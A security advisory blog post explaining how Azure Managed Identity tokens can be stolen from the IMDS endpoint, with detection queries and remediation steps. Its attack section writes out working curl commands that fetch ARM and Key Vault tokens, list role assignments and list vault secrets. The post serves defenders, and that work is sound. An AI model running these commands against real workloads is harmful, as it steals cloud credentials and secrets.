Cloud Security Wire
AWS Azure GCP RSS
Azure Misconfiguration high

Azure Managed Identity Token Theft via the IMDS Endpoint

How attackers steal Azure Managed Identity access tokens from the Instance Metadata Service endpoint, pivot to Azure resources, and what defenders can do to detect and limit the blast radius.

By Cloud Security Wire · ·
#managed-identity#imds#token-theft#azure#lateral-movement
High Severity

This issue has been assessed as high severity. Review affected configurations immediately.

Azure Managed Identities eliminate the need to store credentials in code — the platform handles rotation and issuance. But the token issuance mechanism itself, the Instance Metadata Service (IMDS) endpoint, is a double-edged sword: any process running inside a VM, container, or App Service that can reach 169.254.169.254 can retrieve a valid Azure AD access token without any additional authentication.

How Managed Identity Tokens Are Issued

When a VM, App Service, or AKS pod has a Managed Identity assigned, the platform registers the identity in Azure Active Directory and exposes a token endpoint via IMDS:

http://169.254.169.254/metadata/identity/oauth2/token
  ?api-version=2018-02-01
  &resource=https://management.azure.com/

A successful response returns a bearer token valid for one hour:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGci...",
  "expires_in": "3599",
  "token_type": "Bearer",
  "resource": "https://management.azure.com/"
}

The token is scoped to the requested resource (audience). Common targets:

  • https://management.azure.com/ — Azure Resource Manager (control plane)
  • https://vault.azure.net/ — Key Vault
  • https://storage.azure.com/ — Azure Storage
  • https://graph.microsoft.com/ — Microsoft Graph

The Attack Path

Step 1: Obtain IMDS Access

An attacker who has achieved code execution on an Azure-hosted workload — via RCE in a web application, a compromised container, or a misconfigured Azure Function — can directly query the IMDS endpoint. No additional credentials required:

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | python3 -m json.tool

The Metadata: true header is the only requirement — it prevents accidental SSRF-based token theft from reflected requests that don’t set custom headers.

Step 2: Decode the Token

The access token is a standard JWT. Decode the payload to understand what subscription, tenant, and identity you’ve obtained:

echo "eyJ0eXAiOiJKV1QiLCJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Key fields: oid (object ID of the managed identity), sub, tid (tenant ID), aud (target resource), exp (expiry).

Step 3: Enumerate Assigned Permissions

With an ARM token, enumerate the identity’s role assignments:

TOKEN="<access_token>"
SUBSCRIPTION_ID="<sub_id>"

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
  | jq '.value[] | {role: .properties.roleDefinitionId, scope: .properties.scope}'

If the managed identity holds Contributor or Owner on the subscription — a common misconfiguration where developers grant broad access “to make things work” — the attacker now has full control of the subscription’s resources.

Step 4: Lateral Movement via Key Vault

Key Vault is a particularly high-value target. If the managed identity has Key Vault Secrets User or higher:

KV_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" \
  | jq -r .access_token)

curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://myvault.vault.azure.net/secrets?api-version=7.3" \
  | jq '.value[].id'

This can expose database connection strings, API keys, and TLS certificates — enabling further lateral movement into backend systems outside Azure.

Why Subscriptions Get Over-Permissioned

The most common root cause is developers assigning Contributor at the subscription scope to avoid debugging role-assignment issues. Azure’s RBAC error messages often don’t distinguish between “wrong scope” and “missing permission,” leading developers to incrementally broaden scope until things work.

A second cause: inherited permissions from Azure Policy inheritance or management group role assignments that aren’t visible at the resource level.

Detection

Azure Monitor / Log Analytics query to detect IMDS token requests followed by ARM API calls from unusual sources:

AzureActivity
| where OperationNameValue contains "Microsoft.Authorization/roleAssignments"
| where ActivityStatusValue == "Succeeded"
| where CallerIpAddress !in (known_service_ips)
| project TimeGenerated, Caller, CallerIpAddress, OperationNameValue, ResourceGroup
| order by TimeGenerated desc

Defender for Cloud will alert on:

  • Impossible travel for service principal sign-ins
  • Anomalous API call volume from a managed identity
  • Token requests to Key Vault from unexpected locations

Microsoft Sentinel rule: correlate AzureDiagnostics Key Vault access logs with SigninLogs — a managed identity accessing Key Vault from a new IP in rapid succession is a strong signal.

Remediation

1. Apply least-privilege role assignments. Never assign Contributor or Owner at the subscription scope to a managed identity. Use resource-group or resource-level scope, and prefer built-in roles like Storage Blob Data Reader over broad roles.

2. Prefer User-Assigned Managed Identities over System-Assigned where the identity is shared across multiple resources — this makes role assignments explicit and auditable.

3. Enable Key Vault firewall to restrict access to known VNet ranges:

az keyvault update \
  --name myvault \
  --default-action Deny \
  --bypass AzureServices
az keyvault network-rule add \
  --name myvault \
  --vnet-name myvnet \
  --subnet mysubnet

4. Audit role assignments regularly:

az role assignment list \
  --all \
  --query "[?principalType=='ServicePrincipal'] | [?contains(roleDefinitionName,'Contributor') || contains(roleDefinitionName,'Owner')]" \
  --output table

5. Use workload identity federation for AKS instead of Managed Identity pod identity (which is deprecated). Workload Identity ties Kubernetes service accounts to Azure AD app registrations with OIDC federation, providing pod-level granularity.

The Limits of IMDS Headers as a Control

The Metadata: true header requirement is a weak control. Any SSRF vulnerability in an application running on an Azure VM that allows setting custom headers bypasses it entirely. SSRF-to-IMDS is a well-documented attack path (covered in our SSRF article). Defense in depth at the role-assignment layer — not IMDS header enforcement — is the reliable control.

← All Analysis Subscribe via RSS